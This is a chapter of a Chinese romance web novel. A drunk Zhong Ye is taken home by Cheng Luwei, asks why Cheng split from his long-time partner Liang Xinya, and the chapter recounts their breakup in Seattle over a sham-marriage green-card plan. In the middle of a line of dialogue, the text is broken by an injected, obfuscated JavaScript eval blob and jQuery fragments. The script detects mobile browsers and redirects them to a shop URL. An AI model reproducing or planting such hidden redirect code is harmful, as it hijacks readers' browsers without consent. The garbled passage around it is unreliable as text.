雨下得有点大，湿冷的夜风顺着衣领直往里钻。


    醉酒的人容易着凉，钟烨落在地上的外套沾了水，程陆惟于是将自己的风衣披到了钟烨身上，对他说：“我去跟宋凛打个招呼，你在这里等我一会儿。”


    宋凛是程陆惟的大学室友兼同学，俩人今天也约在附近吃饭。


    他是中途出来接电话碰上的钟烨，直接走了不合适，还得回去打声招呼。


    钟烨低应了声嗯。


    雨势凶猛，旧街两头堵得水泄不通，衣服是从程陆惟身上脱下来的，内层还残留着微热的体温。熟悉的味道包裹在周围，钟烨深吸一口气，闭了闭眼。


    即便这么多年过去，他也不得不承认，只有程陆惟身上的气息可以卸下他的心房，让他沉溺其中，不可自拔。


    钟烨背靠门墙站了会儿，外衣口袋里传出嗡嗡的震动声。


    他并没有看来电显示，接起来喂了一声。


    那头有些诧异，听声音不对还以为拨错了电话，“抱歉，请问你是？”


    钟烨将手机从耳边移开，看了看屏幕，后背却因来电显示倏地一僵。


    是梁昕娅打的电话。


    虽然并不熟悉，这个名字于钟烨而言却并不陌生。


    程陆惟大三的时候，钟烨有一回去政法大学送东西，两人在宿舍楼下碰到过。


    那天是高二开学，还在初秋。


    钟烨站在宿舍楼的绿荫道上，远远看见程陆惟推着自行车，身边正是一袭长裙的梁昕娅。


    俩人像是聊着什么趣事，梁昕娅中途停下来笑弯了腰，程陆惟于是停在身侧，贴心挡住了头顶灼人的阳光。


    钟烨拽着书包肩带，安静地看着。两人聊兴正酣，谁都没有往钟烨的地方看。


    倒是程陆惟的大学室友余涛下楼扔垃圾，认出了他，“陆惟还没回来？”


    说这话的时候，余涛一眼扫到远处的程陆惟，顿时瞪大了眼睛，心生了然。


    “要不说耗子没机会呢，俊男美女走在一起就是养眼。”


    是挺养眼。不仅五官好看，气质也同样出众，连路过的人都忍不住小声议论，探头打量。


    钟烨沉默着没出声，额前的碎发和反光的镜片遮挡了他的眼睛，脸上并没有太多表情。


    余涛抬手打招呼，程陆惟这才走过来，看向钟烨还有点意外：“怎么突然过来了。”


    “陆姨让我给你送东西。”钟烨把包里的袋子拿出来给他。


    上午的课刚结束，正值饭点，程陆惟看他面色苍白，以为是最近熬夜赶考消耗太大，又问：“吃饭了吗？”


    话音刚落，肚子便应声‘咕’了两下。


    “不用你说，已经听到了。”程陆惟笑道。


    食堂距离宿舍有些远，得骑车过去。


    程陆惟调转车头，钟烨下意识走到他背后，被余涛扯住了袖子。


    “额，要不还是让叶子坐我的车吧，让昕娅坐你的。”余涛心明眼亮，有意撮合，钟烨却抿着嘴不出声，仍旧把住后座不松手。


    好在梁昕娅并不打算跟他们一起，说约了人，挥挥手就走了。


    从八岁到十七岁，程陆惟载着钟烨上下学，身后从未有过其他人。


    钟烨以为那是自己的专属，直到那一天他才明白，不管是程陆惟还是程陆惟的后座从来都不属于他。


    久违的记忆扑面而来。


    钟烨垂眼看着闪烁的屏幕，电话牢牢攥进手心。


    那头因为持续没有回应，挂了电话。


    没过多久，程陆惟去而复返，拍掉肩上遗留的水迹，对他说：“走吧，先送你回去。”


    钟烨跟在他身后上了车，将手机递过去，提醒道：“有你的电话。”


    “嗯？”程陆惟点开屏幕看了一眼，没回，扔到了扶手箱里。


    他调转车头，将车驶入主干道，“今晚怎么喝这么多，有应酬？”


    钟烨嗯了声，陷进椅背里。


    “平常也这么喝吗？”


    “没有。”回话的声音越来越低。


    空调温度打得低，钟烨被出风口的暖风烘烤着，酒意混着杂乱的思绪逐渐蒸发成睡意。


    手机连接着车载系统。


    程陆惟开着车，偏头看他闭着眼，食指随后拨动方向盘下方的旋钮，将电话调至了静音。


    下车时钟烨晕得比之前还要厉害，到家直接躺到了床上。


    程陆惟有点不太放心，转去厨房烧了点热水，准备调点蜂蜜水帮钟烨解解酒。


    梁昕娅的电话再次打过来。程陆惟放下水杯，怕吵到钟烨，于是握着手机移步到了客厅阳台。


    “喂。”他语调平静。


    那头听见声音，瞬间泄下一口气，“还以为你不打算接我的电话了。”


    “不至于，刚才在开车，不太方便。”程陆惟望着被风晃动的树影说，“是有什么事吗？”


    “你留下的东西我打包好了，今天准备寄出去，想问问你写哪个地址更方便。”


    程家现在的住址梁昕娅是有的，但贸然寄一堆东西回去不合适，她怕给程陆惟惹麻烦。


    程陆惟自然也明白，“我等会儿把地址发给你。”


    “行。”梁昕娅说。


    那边是早上，说话间还有咖啡机嗡嗡运转的提示音。


    梁昕娅没挂电话，换到安静的地方接着又问，“陆惟，你最近还好吗？”


    “挺好的。”


    “对了，”程陆惟话锋一转，“你上次给我妈寄的那些东西多少钱，我转给你。”


    电话那头立马沉默下去，梁昕娅哑然片刻，开口道：“一定要算得那么清楚吗？那套护肤品是我送给阿姨的生日礼物。”


    十六年的感情，不是说没就没的。程陆惟知道她的试探，但他无法接受，也不想给对方任何幻想和希望。


    “你的心意我知道，但这不合适。”


    *


    小院儿到了夜里很安静。电话挂断时，程陆惟长出了一口气。


    十七垫脚蹦上栏杆蹲在程陆惟身前，歪头看着他。


    “你这小家伙，怎么神出鬼没的。”程陆惟伸手挠了它两下。


    十七也不躲，嘴里发出呼噜声，甚至还得寸进尺，站起身想要扒拉程陆惟的胳膊。


    “别让它挠，它爪子没剪，会把你的衣服抓坏。”


    身后传来响动，程陆惟回过头，钟烨正站在三步之遥的客厅里，头发凌乱，脸上还有明显的压痕。


    小家伙年纪不小，对它主子的坏话早已耳熟于心，于是望着钟烨哈气借此表达自己的不满。


    “吵醒你了？”程陆惟走进屋里。


    “没有，没睡着，”钟烨说，“有点渴了，起来喝水。”


    程陆惟这才想起厨房的蜂蜜水。


    电话打了半小时，之前兑好的蜂蜜水早就凉透了。程陆惟重新烧水，又给他调了一杯热的。钟烨接到手里，掌心贴着杯壁，触感温热，杯口升起的层层雾气。


    “程陆惟。”钟烨忽然叫了他一声。


    程陆惟还站在厨房，投向钟烨的目光里带着明显的探寻和疑惑。


    这不是最好的时机，如果换做平时，钟烨根本就不会问。但酒壮怂人胆，那天在婚礼上，钟烨就听见有人议论，说两人分手是因为程陆惟单方面的原因，所以净身出户。


    钟烨不信，盘旋在胸口的疑问借着酒劲儿脱口而出，“你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14245096|149384||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    们为什么会分手？”


    程陆惟眼里闪过意外。


    同样的话许多人都问过他，方浩宇，姚玥，田峰，包括今天一起吃饭的宋凛。


    无论是谁，他总是很轻地笑笑，眉眼间也似乎并没有任何难过或失落。


    可面对钟烨，他没办法一笑置之。


    “也没什么，她想定居在那边，我想回国，彼此选择的路不同，自然而然就分开了。”


    瓶口的蜂蜜黏到指尖，程陆惟拧开水龙头洗了下手，再用纸巾擦拭干净，“我总不至于一直呆在国外，把家里的全部都丢给你吧。”


    他像平时聊着天一样语气随意，最后拿上自己的外套，拍了拍钟烨肩膀，“太晚了，喝完早点休息。”


    钟烨背靠墙面，握着那杯蜂蜜水，直到房门关上也没动。


    他从不相信流言，只知道如果整整十六年的感情仅用一句话就能概括，那一定是不是因为不能说，而是不想说太多。


    *


    学法律的大多理想，程陆惟天性温合更没什么脾气。


    他和梁昕娅是同学也是校友，众人眼里郎才女貌最般配的一对。两人从毕业出国就在一起，整整十五年。


    分手的原因也不是程陆惟所说的，单纯的选择不同了那么简单。


    梁昕娅对家庭和婚姻有厌恶也有恐惧，她不愿意结婚也不想生育，这些年一直在申请绿卡，想要拿到永居借此逃离原生家庭的束缚。


    如果不是因为这一点，程陆惟也不可能妥协常住国外那么多年。


    但这些年移民政策收紧，梁昕娅的移民申请陆续被拒了好几次，绿卡不仅成了她的执念，也成了两人长期矛盾和冷战的焦点。


    分手的导火索来自一份文件。


    西雅图的雨季很长。


    程陆惟说分手那天梁昕娅正在出差。他在书房里静坐一夜，直到天光大亮，手机上收到梁昕娅发来的航班信息。


    外面依旧刮着风，细密不断的雨丝缱绻得让人骨头发酸。程陆惟开车去机场接她，路上顺道去超市买东西，回家后一起洗菜做饭。


    期间并不冷场，说说笑笑地好像还跟往常一样，甚至彼此都主动避开了敏感话题。


    但直至漫长的晚餐结束，梁昕娅准备上楼洗漱。


    “昕娅。”程陆惟坐在餐桌前，将那份文件放到桌上，叫住她。


    梁昕娅拿过黄皮纸袋。


    那是她准备通过婚姻登记申请移民的登记材料，对象是同律所的一位同事。


    梁昕娅没想到这份文件会出现在家里，脑袋一片空白。


    “只是两年陆惟，”她红着眼睛解释，“两年后我就能拿到绿卡，这样也不可以吗？”


    在一起的十多年里，程陆惟始终是最体贴包容的爱人。即便偶有争执，他也会耐心安抚，专注解决问题。


    从未对梁昕娅红过脸发过脾气。


    那是梁昕娅第一次害怕，她红着双眼蹲在程陆惟身前不停地解释，只是想要他点头。


    可程陆惟却比任何时候都要狠心，抬手抹去她的眼泪，不留任何余地说了声抱歉。


    感情里不分对错。


    分手至今，程陆惟从未提及分手的真正原因，不是因为他旧情难忘，而是因为没必要。


    他和梁昕娅在一起多久，就在国外打拼了多久。走的时候什么都没带，全都留下了。


    真的一点不难过吗？


    必然是不可能的。


    就像离开那天一样，程陆惟站在公寓门口往回看，十六年恍然一梦。


    西雅图依旧下着连绵细雨。他拎着一只行李箱，就这样连同他十五年的事业爱情还有青春，一并留在了那个飘着雨的夏天。